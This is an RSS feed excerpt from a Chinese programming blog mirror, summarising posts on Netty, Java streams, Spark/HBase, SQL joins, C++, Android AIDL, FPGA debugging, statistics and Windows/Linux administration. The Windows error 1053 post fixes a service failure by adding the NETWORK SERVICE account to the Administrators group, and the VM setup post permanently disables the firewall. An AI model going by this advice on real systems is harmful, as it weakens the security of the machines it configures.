      <guid>https://bchobby.github.io/posts/9bf0748051b09ede7a2747dff94805b7/</guid>
      <description>1. Netty介绍与相关基础知识 1.1 Netty介绍 简介&#xA;Netty是由JBOSS提供的一个java开源框架。Netty提供异步的、事件驱动的网络应用程序框架和工具，用以快速开发高性能、高可靠性的网络服务器和客户端程序。也就是说，Netty 是一个基于NIO的客户、服务器端编程框架，使用Netty 可以确保你快速和简单的开发出一个网络应用，例如实现了某种协议的客户、服务端应用。Netty相当于简化和流线化了网络应用的编程开发过程，例如：基于TCP和UDP的socket服务开发。“快速”和“简单”并不用产生维护性或性能上的问题。Netty 是一个吸收了多种协议（包括FTP、SMTP、HTTP等各种二进制文本协议）的实现经验，并经过相当精心设计的项目。最终，Netty 成功的找到了一种方式，在保证易于开发的同时还保证了其应用的性能，稳定性和伸缩性。&#xA;（1） Netty提供了简单易用的API&#xA;（2） 基于事件驱动的编程方式来编写网络通信程序&#xA;（3） 更高的吞吐量&#xA;（4） 学习难度低&#xA;应用场景：&#xA;JavaEE： Dubbo&#xA;大数据：Apache Storm（Supervisor worker进程间的通信也是基于Netty来实现的）&#xA;1.2 BIO、NIO、AIO介绍与区别 阻塞与非阻塞&#xA;主要指的是访问IO的线程是否会阻塞（或者说是等待）&#xA;线程访问资源，该资源是否准备就绪的一种处理方式。&#xA;同步和异步&#xA;主要是指的数据的请求方式&#xA;同步和异步是指访问数据的一种机制&#xA;BIO&#xA;同步阻塞IO，Block IO，IO操作时会阻塞线程，并发处理能力低。&#xA;我们熟知的Socket编程就是BIO，一个socket连接一个处理线程（这个线程负责这个Socket连接的一系列数据传输操作）。阻塞的原因在于：操作系统允许的线程数量是有限的，多个socket申请与服务端建立连接时，服务端不能提供相应数量的处理线程，没有分配到处理线程的连接就会阻塞等待或被拒绝&#xA;NIO&#xA;同步非阻塞IO，None-Block IO&#xA;NIO是对BIO的改进，基于Reactor模型。我们知道，一个socket连接只有在特点时候才会发生数据传输IO操作，大部分时间这个“数据通道”是空闲的，但还是占用着线程。NIO作出的改进就是“一个请求一个线程”，在连接到服务端的众多socket中，只有需要进行IO操作的才能获取服务端的处理线程进行IO。这样就不会因为线程不够用而限制了socket的接入&#xA;AIO（NIO 2.0）&#xA;异步非阻塞IO&#xA;这种IO模型是由操作系统先完成了客户端请求处理再通知服务器去启动线程进行处理。AIO也称NIO2.0，在JDK7开始支持。&#xA;1.3 Netty Reactor模型 - 单线程模型、多线程模型、主从多线程模型介绍 1.3.1 单线程模型 用户发起IO请求到Reactor线程，Ractor线程将用户的IO请求放入到通道，然后再进行后续处理，处理完成后，Reactor线程重新获得控制权，继续其他客户端的处理，这种模型一个时间点只有一个任务在执行，这个任务执行完了，再去执行下一个任务。&#xA;但单线程的Reactor模型每一个用户事件都在一个线程中执行：性能有极限，不能处理成百上千的事件当负荷达到一定程度时，性能将会下降某一个事件处理器发生故障，不能继续处理其他事件&#xA;1.3.2 Reactor多线程模型 Reactor多线程模型是由一组NIO线程来处理IO操作（之前是单个线程），所以在请求处理上会比上一中模型效率更高，可以处理更多的客户端请求。这种模式使用多个线程执行多个任务，任务可以同时执行，但是如果并发仍然很大，Reactor仍然无法处理大量的客户端请求&#xA;1.3.3 Reactor主从多线程模型 这种线程模型是Netty推荐使用的线程模型，这种模型适用于高并发场景，一组线程池接收请求，一组线程池处理IO。&#xA;1.4 Netty - 基于web socket简单聊天DEMO实现 后端编写&#xA;导入依赖&#xA;&amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&amp;gt; &amp;lt;project xmlns=&#34;</description>
    </item>
    <item>
      <title>2020-12-29</title>
      <link>https://bchobby.github.io/posts/916e8d7c5444e97f78b022e1bfb22cf1/</link>
      <pubDate>Tue, 29 Dec 2020 13:03:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/916e8d7c5444e97f78b022e1bfb22cf1/</guid>
      <description>博客园Logo&#xA;首页&#xA;新闻&#xA;博问&#xA;专区&#xA;闪存&#xA;班级&#xA;代码改变世界&#xA;搜索&#xA;注册&#xA;登录&#xA;杨木木v&#xA;博客园 首页 新随笔 联系 订阅 订阅 管理&#xA;随笔 - 3 文章 - 1 评论 - 0&#xA;如何对项目中的问题进行分析——FPGA失败案例小结&#xA;本人最近在做一个小项目，自己取名叫做《基于zedboard的千兆以太网底层设计》，一般我都是写好各模块的verilog代码，确定模块没bug后再做整个系统级联，之后直接先进行综合看看有没有bug，有则改进，没则继续写约束，然后器件实现。&#xA;但是这个项目，我在第一步就错了，先把我找到的原因说下：是因为zedboard分为ps和pl端，zedboard的PHY芯片是有ps端控制，而我直接将其引脚用ps端驱动了。出现了以下vivado报错：&#xA;废话不多说，来看问题，vivado综合时保持如下：&#xA;[Vivado 12-1411] Cannot set LOC property of ports, Site location is not valid [“F:/xilink_file/ethernet_test/ethernet_test.srcs/constrs_1/new/ethernet_constraints.xdc”:10]&#xA;。。。。。&#xA;[Vivado 12-1411] Cannot set LOC property of ports, Site location is not valid [“F:/xilink_file/ethernet_test/ethernet_test.srcs/constrs_1/new/ethernet_constraints.xdc”:24]&#xA;基本上我是在所有设计都完成时，先约束引脚，最后综合后再做时序约束，再利用singnaltapii（vivado上叫ILA）做板级验证。但是我在综合时遇上上述问题，说明我的引脚不可用。&#xA;去查阅xilinx官方论坛与器件商DIGILENT论坛，发现国外一老哥也是做以太网遇到了同样的问题。&#xA;大意是“我用的zedboard z7010开发版写了一个以太网驱动程序，按照原理图上搭配了引脚但是还是出现了严重警告的问题，难度是我原理图拿错了吗？”&#xA;大佬的回答是&#xA;大意是通过pl（纯逻辑）驱动以太网现在在论坛还处于讨论阶段，因为zedboard上的以太网芯片是直接与PS端（ARM端）相连的，PL端没有与PHY芯片直连，所以没法用纯底层verilog逻辑电路驱动PHY芯片。&#xA;看到这里，我马上又去翻了一下zedboard的用户手册。&#xA;PHY芯片通过MIO Bank连接z7000Soc,也就是说，想要驱动PHY芯片，需要看看MIO Bank是谁家管的引脚（PL还是PS）。我又去翻了下原理图。</description>
    </item>
    <item>
      <title>力扣解题思路：488. 祖玛游戏</title>
      <link>https://bchobby.github.io/posts/d304d7a41f19c266b92e72c16cba339f/</link>
      <pubDate>Tue, 29 Dec 2020 10:34:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d304d7a41f19c266b92e72c16cba339f/</guid>
      <description>488. 祖玛游戏 思路：&#xA;实际上就是简单的消消乐，如果时间允许，最简单的暴力递归法也是可以的，就是把所有字母插入所有的位置，取最短且可以消去的插入球数即可。但是这样无脑插入是很浪费时间的，所以我们在插入的时候应该先选好合适的位置，分一下两种情况：&#xA;（1）插入一个或两个颜色相同的球引发连锁反响。&#xA;（2）往两个颜色相同的球中间插入一个颜色不同的球（为什么要这么做呢？见特殊测试用例二）。&#xA;注意两个特殊的测试用例：&#xA;测试用例一： &#34;WWRRGGRRWWRRGGRRWW&#34;, &#34;GG&#34; 无论怎么插入，都无法完全消除，结果应是-1。 测试用例二： &#34;RRWWRRBBRR&#34;, &#34;WB&#34; &#34;R(B)RWWRRBBRR&#34; -&amp;gt; &#34;R(B)RWW(W)RRBBRR&#34; -&amp;gt; &#34;&#34; 结果应是2。 首先我们需要一个方法来用于消去字符串，返回消去后的结果：&#xA;private StringBuilder eliminate(StringBuilder sb) { boolean flag = true; while (flag) { flag = false; for (int i = 0; i &amp;lt; sb.length(); i++) { int j = i + 1; while (j &amp;lt; sb.length() &amp;amp;&amp;amp; sb.charAt(j) == sb.charAt(i)) { j++; } if (j - i &amp;gt;= 3) { sb.</description>
    </item>
    <item>
      <title>java与流式编程详解</title>
      <link>https://bchobby.github.io/posts/8e08a93d593ad43184fa57194b87c20a/</link>
      <pubDate>Tue, 29 Dec 2020 08:41:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8e08a93d593ad43184fa57194b87c20a/</guid>
      <description>文章目录 流的性质创建流中间操作终止操作Collectors单列集合收集器双列集合收集器字符串收集器 流的性质 流遵循了做什么而非怎么做的原则，它有以下性质:&#xA;流不存储元素，这些元素可能存储在底层集合中或者是按需生成的流的操作不会改变数据源，而是会生成一个新的流，其中不包含被过滤掉的元素流的操作是尽可能惰性执行的 使用流一般需要三个操作步骤：创建流、中间操作和终止操作。&#xA;创建流 Stream中的静态方法&#xA;static &amp;lt;T&amp;gt; Stream&amp;lt;T&amp;gt; of(T... values)//返回包含values元素的流 static &amp;lt;T&amp;gt; Stream&amp;lt;T&amp;gt; empty()//返回一个空流 static &amp;lt;T&amp;gt; Stream&amp;lt;T&amp;gt; generate(Supplier&amp;lt;T&amp;gt; s)//返回一个由s提供元素的无限流 static &amp;lt;T&amp;gt; Stream&amp;lt;T&amp;gt; iterate(T seed, UnaryOperator&amp;lt;T&amp;gt; f)//返回一个由f提供元素的无限流，f的起始参数为seed,之后的参数为该方法的返回值 集合类的stream方法&#xA;List&amp;lt;Integer&amp;gt;list=new ArrayList&amp;lt;&amp;gt;(); Collections.addAll(list,new Integer[]{1,2,3,4,5}); Stream&amp;lt;Integer&amp;gt; stream = list.stream(); Arrays.stream()&#xA;static &amp;lt;T&amp;gt; Stream&amp;lt;T&amp;gt; stream(T[] array) static &amp;lt;T&amp;gt; Stream&amp;lt;T&amp;gt; stream(T[] array, int from, int to) Files.lines()&#xA;static Stream&amp;lt;String&amp;gt; lines(Path path) static Stream&amp;lt;String&amp;gt; lines(Path path, Charset cs) 并行流&#xA;Stream&amp;lt;T&amp;gt; parallel() 中间操作 Stream&amp;lt;T&amp;gt; limit(long maxSize)//限制流的长度 Stream&amp;lt;T&amp;gt; skip(long n)//跳过流中的前n个元素 Stream&amp;lt;T&amp;gt; distinct()//清除流中的重复元素 Stream&amp;lt;T&amp;gt; sorted()//对流中的元素进行排序 Stream&amp;lt;T&amp;gt; sorted(Comparator&amp;lt;?</description>
    </item>
    <item>
      <title>spark保存数据到hbase_用spark导入数据到hbase</title>
      <link>https://bchobby.github.io/posts/c42eec8fc9d64b50e12bfc9a71d50810/</link>
      <pubDate>Tue, 29 Dec 2020 07:52:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c42eec8fc9d64b50e12bfc9a71d50810/</guid>
      <description>packagescala;importjava.util.ArrayList;importjava.util.Iterator;importjava.util.List;importorg.apache.hadoop.conf.Configuration;importorg.apache.hadoop.fs.FileSystem;importorg.apache.hadoop.fs.Path;importorg.apache.hadoop.hbase.HBaseConfiguration;importorg.apache.hadoop.hbase.KeyValue;importorg.apache.hadoop.hbase.TableName;importorg.apache.hadoop.hbase.client.Admin;importorg.apache.hadoop.hbase.client.Connection;importorg.apache.hadoop.hbase.client.ConnectionFactory;importorg.apache.hadoop.hbase.client.Table;importorg.apache.hadoop.hbase.io.ImmutableBytesWritable;importorg.apache.hadoop.hbase.mapreduce.HFileOutputFormat2;importorg.apache.hadoop.hbase.mapreduce.LoadIncrementalHFiles;importorg.apache.hadoop.hbase.util.Bytes;importorg.apache.hadoop.mapreduce.Job;importorg.apache.hadoop.mapreduce.lib.input.FileInputFormat;importorg.apache.hadoop.mapreduce.lib.input.TextInputFormat;importorg.apache.hadoop.mapreduce.lib.output.FileOutputFormat;importorg.apache.spark.SparkConf;importorg.apache.spark.api.java.JavaPairRDD;importorg.apache.spark.api.java.JavaRDD;importorg.apache.spark.api.java.JavaSparkContext;importorg.apache.spark.api.java.function.PairFlatMapFunction;importorg.apache.spark.storage.StorageLevel;importutil.HFileLoader;public classHbaseBulkLoad {private static final String ZKconnect=&#34;slave1,slave2,slave3:2181&#34;;private static final String HDFS_ADDR=&#34;hdfs://master:8020&#34;;private static final String TABLE_NAME=&#34;DBSTK.STKFSTEST&#34;;//表名&#xA;private static final String COLUMN_FAMILY=&#34;FS&#34;;//列族&#xA;public static void run(String[] args) throwsException {&#xA;Configuration configuration=HBaseConfiguration.create();&#xA;configuration.set(&#34;hbase.zookeeper.quorum&#34;, ZKconnect);&#xA;configuration.set(&#34;fs.defaultFS&#34;, HDFS_ADDR);&#xA;configuration.set(&#34;dfs.replication&#34;, &#34;1&#34;);&#xA;String inputPath= args[0];&#xA;String outputPath= args[1];&#xA;Job job= Job.getInstance(configuration, &#34;Spark Bulk Loading HBase Table:&#34; +TABLE_NAME);&#xA;job.setInputFormatClass(TextInputFormat.class);&#xA;job.setMapOutputKeyClass(ImmutableBytesWritable.class);//指定输出键类&#xA;job.setMapOutputValueClass(KeyValue.class);//指定输出值类&#xA;job.setOutputFormatClass(HFileOutputFormat2.class);&#xA;FileInputFormat.addInputPaths(job, inputPath);//输入路径&#xA;FileSystem fs =FileSystem.get(configuration);&#xA;Path output= newPath(outputPath);if(fs.exists(output)) {&#xA;fs.delete(output,true);//如果输出路径存在，就将其删除&#xA;}&#xA;fs.close();&#xA;FileOutputFormat.setOutputPath(job, output);//hfile输出路径//初始化sparkContext&#xA;SparkConf sparkConf = new SparkConf().</description>
    </item>
    <item>
      <title>c&#43;&#43; 计算 两个时间 差值_综合判别改善指数IDI的计算方法</title>
      <link>https://bchobby.github.io/posts/3c2ad84749d32e9eaceda874e6530a47/</link>
      <pubDate>Tue, 29 Dec 2020 07:46:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3c2ad84749d32e9eaceda874e6530a47/</guid>
      <description>题记：这一章讲综合判别改善指数(Integrated Discrimination Improvement, IDI)计算原理与方法。这个指标也用于判断预测模型改善情况，与NRI有类似也有不同，请各位斧正。&#xA;1. 背景知识&#xA;上一章《净重新分类指数(NRI)的计算原理与方法》我们比较了ROC分析曲线下面积与NRI，NRI有两个优点：1. 较ROC分析计算的C-Statistics/AUC更为敏感；2.NRI用于在设定的cut-off值下，例如某个指标的诊断截断值或低、中、高风险划分的界值等，来比较新、旧模型的预测能力是否有所提高，在实际临床应用中更容易理解。但NRI也有一些不足：它只考虑了设定某个切点时的改善情况，不能考察模型的整体改善情况，此时我们可以选择另一个指标：综合判别改善指数(IntegratedDiscrimination Improvement, IDI)。有的读者可能会提出疑问：C-Statistics/AUC不就是反应模型整体改善情况的吗？这个问题又回到我们上一章提到的C-Statistics/AUC的两个局限性的问题，如果一定要把IDI与C-Statistics/AUC比较，那么IDI更敏感，临床也更容易解释。&#xA;我无法从一个读者的角度判断我上面这段话讲得是不是“可以听懂的人话”？但有一个最简单的解决办法：先存疑不论，即不去计较C-Statistics/AUC、NRI、IDI的优劣，在进行两个指标诊断效能比较或两个预测模型比较时，除了传统的ROC曲线计算AUC，也可以同时给出NRI和IDI，更加全方位、立体的展示新模型的改善情况，犹如绘画技法中的多点透视。&#xA;2. IDI计算原理&#xA;从IDI的计算公式看，它反映的是两个模型预测概率差距上的变化，因此是基于疾病模型对每个个体的预测概率计算所得。它的计算公式为：&#xA;其中Pnew,events、Pold,events表示在结局事件发生组(患病组)中，新模型和旧模型对于每个个体预测疾病发生概率的均值，两者相减表示预测概率提高的量。对于患病组来说，预测患病的概率越高，表示模型越准确，因此，Pnew,events与Pold,events差值越大则提示新模型越好。&#xA;而Pnew,non-events、Pold,non-events表示在结局事件发生组(未患病组)中，新模型和旧模型对于每个个体预测疾病发生概率的均值，两者相减表示预测概率减少的量，对于未患病组来说，预测患病的概率越低，表示模型越准确，因此Pnew,non-events与Pold,non-events差值越小则提示新模型越好。&#xA;最后，将两部分相减即可得到IDI，总体来说IDI越大，则提示新模型预测能力越好。与NRI类似，若IDI&amp;gt;0，则为正改善，说明新模型比旧模型的预测能力有所改善，若IDI&amp;lt;0，则为负改善，新模型预测能力下降，若IDI=0，则认为新模型没有改善。&#xA;我们可以通过计算Z统计量，来判断IDI与0相比是否具有统计学显著性，统计量Z近似服从正态分布，公式如下：&#xA;其中SEevents为Pnew,events-Pold,events的标准误，首先在患病组，计算新、旧模型对每个个体的预测概率，求得概率的差值，再计算差值的标准误即可；SEnon-events为Pnew,non-events-Pold,non-events的标准误，是在未患病组，计算新、旧模型对每个个体的预测概率，求得概率的差值，再计算差值的标准误即可。&#xA;3. R语言实现&#xA;表1. R中可计算IDI的包&#xA;包的名称&#xA;下载地址&#xA;分类资料结局&#xA;生存资料结局&#xA;PredictABEL&#xA;CRAN&#xA;reclassification函数&#xA;不支持&#xA;survIDINRI&#xA;CRAN&#xA;不支持&#xA;IDI.INF函数&#xA;[案例]示例数据来自于survival包里自带的一份梅奥诊所的数据，记录了418位患者的临床指标与原发性胆汁性肝硬化(PBC)的关系。其中前312个患者来自于RCT研究，其他患者来自于队列研究。我们用前312例患者的数据来预测是否发生死亡。这个表中的结局变量是status，0=截尾(删失)，1=接受肝移植，2=死亡。为了R语言代码解释的方便，我们首先把“死亡与否”是作为二分类变量处理。然后再考虑时间因素，当做生存资料处理。其他关于数据中各变量的具体含义可用命令：? pbc 查看。&#xA;(1) 二分类结局&#xA;代码如下：here consider pbc dataset in survival package as an example&#xA;library(survival)&#xA;dat=pbc[1:312,]&#xA;dat$sex=ifelse(dat$sex==&#39;f&#39;,1,0) subjectscensored before 2000 days are excluded&#xA;dat=dat[dat$time&amp;gt;2000|(dat$time&amp;lt;2000&amp;amp;dat$status==2),] predcitingthe event of ‘death’ before 2000 days&#xA;event=ifelse(dat$time&amp;lt;2000&amp;amp;dat$status==2,1,0) standardprediction model: age, bilirubin, and albumin</description>
    </item>
    <item>
      <title>绘制一幅蓝图_给未来画一幅蓝图</title>
      <link>https://bchobby.github.io/posts/9a27b327e5b82229a09d399a7a2640d0/</link>
      <pubDate>Tue, 29 Dec 2020 02:31:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9a27b327e5b82229a09d399a7a2640d0/</guid>
      <description>《活法》第一章里讲到实现理想要有强烈的愿望，这个愿望必须是你睡也想着、醒也想着的愿望才可以。就是所谓的“心不唤物，物不至”，只有你的愿望足够清晰，你的愿望之树才能扎根、长茎、开花、结果。&#xA;稻盛和夫讲到他的大学专业是石油化学、有机化学和他就职的陶瓷企业无任何联系，而且刚毕业的他入职的这家企业持续亏损，只有非常简陋的研究设备和仪器，但他就在这中情况下投入到研究当中，因为他相信只要他全身心投入研究中，终会打开“智慧的宝库”。&#xA;结果不久以后他真做出了与世界一流的公司相匹敌的科研成果。即使在如此简陋的条件下他也坚信自己可以找到一种可以让公司有所突破的新材料。&#xA;当你有强烈的愿望时，这个愿望才有变成现实的可能性。&#xA;最近看考研老师刘晓艳的视频时，听到她讲了这样一个故事。她之前带的一位学生，一个中专学生，中专毕业后不知道那一天突然醍醐灌顶了，想要上大学。可你知道中专生是连高中都没上过的，所以她想要上大学需要经过哪些历程吗？中专生她需要先考大专，大专考上了，然后在专升本上大学，考上大学后又考研究生，后来这女孩考上了北大研究生。&#xA;她都不能想象这一路走来这女孩用了多少年，但至少她现在做到了。这个女孩就是给自己了一个上大学的愿望然后持续付出努力成就了今天的自己。&#xA;我们大多数人从未认真想过我们未来要过怎样的生活，对自己未来生活的一个蓝图都没有。首先要给自己画一幅未来生活愿景的蓝图，把它描绘的越清晰越好，不要觉得那是多么遥远的事，五年以前的事现在回看不都是转眼之间。既然你想要做某件事，就说明你是具备这种愿望变成现实的潜在力量的，人们不会凭空去想象自己力所不能及的事情，就像上文刚毕业的稻盛和夫，谁能想象一个非专业人士在如此简陋的条件下能研究出来和世界一流公司匹敌的科研成果；谁能想象一个中专生可以考上北大的研究生，但有人做到了。所以给自己一个大胆的猜想，然后不断地，不断地向着这个愿景靠近。</description>
    </item>
    <item>
      <title>Windows 无法启动xx服务 错误1053</title>
      <link>https://bchobby.github.io/posts/38d96f0e0bcc87ec237897b5eff6038f/</link>
      <pubDate>Mon, 28 Dec 2020 23:11:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/38d96f0e0bcc87ec237897b5eff6038f/</guid>
      <description>Windows 无法启动xx服务 错误1053：服务没有及时响应启动或控制请求&#xA;系统的很多系统关键服务，启动不了，双击该服务也弹不了操作框，系统服务是设置为自动 的，但是就是启动不了，在本地服务窗口中只能启动该服务，但是双击会弹不了窗口，你点启动后会出现错误提示1053，本地用户组，里面可以看到用户和组但 是双击话也没反应，照成后果，网站打不开，远程连接连不上，但是服务器实际上是开着的，其实具体原因就是因为系统关键服务未正常开启，实验结果表明是权限 不够，导致系统服务一律停止，为什么会这样呢？估计是服务器中毒，被木马程序影响照成的，照成了Network Service账户的权限不够，因为win2003系统中很多的系统关键服务都是依靠Network Service账户的权限来运行的，所以解决办法只能将Network Service账户的权限提高，如果本地用户组里可以操作，那么把’NETWORK SERVICE’ 添加到Administrator组中：我的电脑–&amp;gt;右键–&amp;gt;管理–&amp;gt;本地用户和组；&#xA;选择“组”–&amp;gt;双击Administrators–&amp;gt;单击“添加”–&amp;gt;单击“高级”–&amp;gt;单击“立即查找”–&amp;gt;在下面的列表中选择Network Service用户–&amp;gt;两次单击“确定”–&amp;gt;加入。</description>
    </item>
    <item>
      <title>虚拟机集群搭建</title>
      <link>https://bchobby.github.io/posts/7041614e5917113af5e28b27916d9f9d/</link>
      <pubDate>Mon, 28 Dec 2020 21:52:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7041614e5917113af5e28b27916d9f9d/</guid>
      <description> 搭建可供局域网访问的虚拟主机 关闭防火墙 查看防火墙状态 systemctl status firewalld.service 关闭防火墙 systemctl stop firewalld.service 禁止防火墙服务(防止自动重启) systemctl disable firewalld.service 修改网络配置 进入/etc/sysconfig/network-scripts/ifcfg-enp0s3(文件名不固定)&#xA;重启网络 service network restart 验证 ip addr 遇到的问题 主机无法ping通虚拟机 解决方案：在主机的网络适配器中，修改对应适配器的地址，将ip4地址固定为指定的虚拟机ip&#xA;修改完静态ip后虚拟机无法访问主机Destination host unreachable 在Vmware的编辑中，进入虚拟网络编辑，选择桥接模式，桥接模式并指定为自动&#xA;修改主机名称 修改名称 hostnamectl set-hostname 新主机名称 修改hosts文件内的名称 </description>
    </item>
    <item>
      <title>SQL性能--left join和inner join的运行速度与效率</title>
      <link>https://bchobby.github.io/posts/d1c3be8c2ba49bb0638c54d2b2c13ee7/</link>
      <pubDate>Mon, 28 Dec 2020 16:05:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d1c3be8c2ba49bb0638c54d2b2c13ee7/</guid>
      <description>①大家都知道，sql尽量使用数据量小的表做主表，这样效率高，如果使用数据量大的表做主表，此时使用left join 就会比较慢，即使关联条件有索引。但如果使用inner join速度就较快。因为inner join 在执行的时候回自动选择最小的表做基础表，效率高，总之相比之下inner join不管从效率还是速度上都优于left join，毕竟left join 会多一部分逻辑运算&#xA;②选择inner join还有个好处，不会产生null,有些表我们在定义的时候某些字段不允许存在null,如果用left join就可能会产生null,此时软件就会报错，而inner join可以避免&#xA;③在实际运用中选择inner join还是left join这个需要根据实际场景进行选择，并不是所有的地方都能用inner join的，建议能用则用</description>
    </item>
    <item>
      <title>C&#43;&#43;面向对象之编写Rational类实现有理数的基本操作</title>
      <link>https://bchobby.github.io/posts/6baab392f6bc4e989e83c441b825fe45/</link>
      <pubDate>Mon, 28 Dec 2020 09:25:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6baab392f6bc4e989e83c441b825fe45/</guid>
      <description>实验要求 编写一个表示有理数的类Rational。（有理数就是分数，包含分子与分母，均为整数）。要求：&#xA;定义一个命名空间Numeric，在该空间中定义类Rational;编写默认构造函数，构造一个有理数0;编写带参数列表的构造函数Rational (int, int )，要求使用初始化列表；编写复制构造函数；编写赋值操作=；编写四个友元函数add、sub、mul、div，对两个Rational对象表示的有理数分别进行相加、相减、相乘、相除运算；（例：Rational x(1,2),y(1,3);分别表示有理数 ，则Rational z = add(x,y);之后，z表示 ）重载上述四个函数，实现有理数与整数的相加、相减、相乘、相除运算；（例：Rational x(1,2);表示有理数12 ，则Rational z = add(x,1)，之后，z表示 ）编写成员函数getValue()，返回用浮点数表示的有理数，要求写成常函数。（例：Rational x(1,2);表示有理数12 ，则x.getValue()返回0.5）编写友元函数lessThan，比较两个有理数的大小，返回bool类型。（例：Rational x(1,2),y(1,3);则bool b = lessThan(x,y);之后b为false）编写main函数，使用using namespace Numeric;来访问Numeric::Rational类。编写代码测试Rational类。在main函数中，随机生成10个有理数，形成一个有理数数组，并利用lessThan函数以及任意一种排序算法，对这10个有理数进行从小到大排序，输出排序结果。 注：1）上述友元函数都定义在Rational空间；&#xA;2）随机数通过std::rand()函数生成，可以调用std::srand(time(0)); 来设置随机数种子。&#xA;代码 主函数的实现&#xA;//main.cpp #include &amp;lt;iostream&amp;gt; #include &#34;Rational.h&#34; using namespace std; using namespace Numeric; #include&amp;lt;random&amp;gt; #include&amp;lt;stdlib.h&amp;gt; #include&amp;lt;time.h&amp;gt; int main() { FourOpera FourOpera; lessThan lessThan; //调试代码 Rational x(8, 6); Rational y(16, 6); Rational z = FourOpera.add(x, y); z.ReducFac(); cout &amp;lt;&amp;lt; &#34;测试结果为:&#34; &amp;lt;&amp;lt; endl; cout &amp;lt;&amp;lt; z.</description>
    </item>
    <item>
      <title>Android AIDL机制解析</title>
      <link>https://bchobby.github.io/posts/fc426769465f9d8f133ef29a12646134/</link>
      <pubDate>Sun, 27 Dec 2020 20:17:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fc426769465f9d8f133ef29a12646134/</guid>
      <description>关于AIDL的使用，已经在之前的博客Android AIDL的基本用法&#xA;里介绍过，这次主要通过剖析AIDL生成的java文件来讲解AIDL机制。用的还是之前博客的例子，它在build目录下生成的 IMyAidlInterface.java 文件内容如下： /* * This file is auto-generated. DO NOT MODIFY. * Original file: D:\\AndroidStudioProjects\\AIDLServer\\app\\src\\main\\aidl\\cn\\qiracle\\aidlserver\\IMyAidlInterface.aidl */ package cn.qiracle.aidlserver; // Declare any non-default types here with import statements public interface IMyAidlInterface extends android.os.IInterface { /** Local-side IPC implementation stub class. */ public static abstract class Stub extends android.os.Binder implements cn.qiracle.aidlserver.IMyAidlInterface { private static final java.lang.String DESCRIPTOR = &#34;cn.qiracle.aidlserver.IMyAidlInterface&#34;; /** Construct the stub at attach it to the interface.</description>
    </item>
    <item>
      <title>黑苹果不能使用无线网解决办法</title>
      <link>https://bchobby.github.io/posts/485b788d68ec87693f97b62ef1cbf9a0/</link>
      <pubDate>Sun, 27 Dec 2020 16:17:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/485b788d68ec87693f97b62ef1cbf9a0/</guid>
      <description>网上找了很多方法，都不能让我的黑苹果上网，果然还是得靠自己，抱着碰碰运气的态度，通过四叶草🍀安装驱动，在下图所示的已经安装的驱动中，我可以明确的告诉大家，其中一个是usb上网的驱动，也就是说，可以通过手机usb共享网络，而在这之前，我只能通过网线使用黑苹果上网。&#xA;之所以会抱着试试四叶草里内置驱动的态度，是因为我的电脑是双系统，先有的win10，后来装了黑苹果后win10进不去了，通过U盘启动盘引导修复后黑苹果又进不去了，抱着试一试的态度去安装驱动后，发现当我按了某个四叶草内的驱动后，电脑识别出来了win10，所以才会有试一试usb无线网卡会不会也这样。&#xA;有件事情我还是需要说明下，一定要备份好当前的EFI，因为有的驱动装上后黑苹果就打不开了，应该是根据具体的电脑情况而定，所以我每一次按驱动，都会提前备份一下，就算打不开了还可以用回滚。</description>
    </item>
    <item>
      <title>回归指令_伺服运动为什么要进行原点回归呢</title>
      <link>https://bchobby.github.io/posts/43470ae3791971e14ec42c8054472ab6/</link>
      <pubDate>Sun, 27 Dec 2020 11:15:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/43470ae3791971e14ec42c8054472ab6/</guid>
      <description>伺服运动为什么要进行原点回归？​mp.weixin.qq.com 伺服运动控制的原点回归&#xA;原点回归，又名原点复位、伺服回零...等等。&#xA;在进行伺服定位操作之前一般都需要先进行原点回归，否则伺服电机可能会罢工，说是在「原点回归未完成时启动」。&#xA;那么，为什么要进行原点回归呢？&#xA;1、原点回归的必要性&#xA;所谓定位，就是要让伺服电机走到一个确定的位置。这个位置可以是增量式的，也可以是绝对式的。打个比方，我们现在在路上，我们要往前走 10 米，相当于我们的位置要往前增加十米，这个十米就是一个位置增量。&#xA;而如果我们要去这条街上某处地方的咖啡店，我们就需要知道它的确切地址，假设这条街的地址不是门牌号，而是从街的一端开始为 0 米（基准位置）。&#xA;这样就能确定这条街上每个位置的地址，比如这家咖啡店的地址是这条街 100 米的位置，那么这个 100 米就是一个绝对位置，我们不管在哪一个位置，都能通过走到这条街 100 米的位置找到这家咖啡店。&#xA;在定位指令里，就分为增量式的 INC 指令和绝对式的 ABS 指令。&#xA;增量（INC）方式&#xA;以当前停止的位置为起点，指定移动方向和移动量后进行定位。&#xA;起点地址为5000，移动量为-7000时，对-2000的位置进行定位。&#xA;绝对值（ABS）方式&#xA;定位到指定的地址，该地址是以原点为基准的位置。&#xA;起点地址（当前的停止位置）为1000，终点地址（定位地址）为8000时，向正方向进行移动量7000（8000-1000）的定位。&#xA;所以，当我们需要进行绝对式定位时，我们就需要对应的机械系统上具有地址，这也就需要一个基准位置，通过这个基准位置去确定机械系统上的每个位置的地址。而这个基准位置，在伺服定位系统里称为原点。&#xA;2 两个信号&#xA;在三菱的伺服定位系统里，有两个关于原点的关键信号：&#xA;原点回归请求信号（原点复位请求标志）&#xA;这个信号 ON 的时候，说明伺服系统目前没有原点，需要进行原点回归。&#xA;原点回归完成信号（原点复位完成标志）&#xA;当原点回归执行完成时，该信号会 ON。然后如果执行定位或者其他正常方式使得伺服电机离开原点位置时，该信号会 OFF，但是此时原☆判断是否需要原点回归可以借助原点回归请求信号，而不应该借助原点回归完成信号。&#xA;对于增量式系统，每次断电复位、重新上电之后都需要进行原点回归。&#xA;对于绝对式系统，由于伺服放大器装有电池（也需要在参数里设置使用绝对位置系统），可以保持伺服电机的位置，所以一般情况下，只需要在刚搭建系统时进行一次原点回归即可。当然如果后续发生原点位置丢失等情况，就要重新进行原点回归了。这里是否需要原点回归也可以通过原点回归请求信号是否为 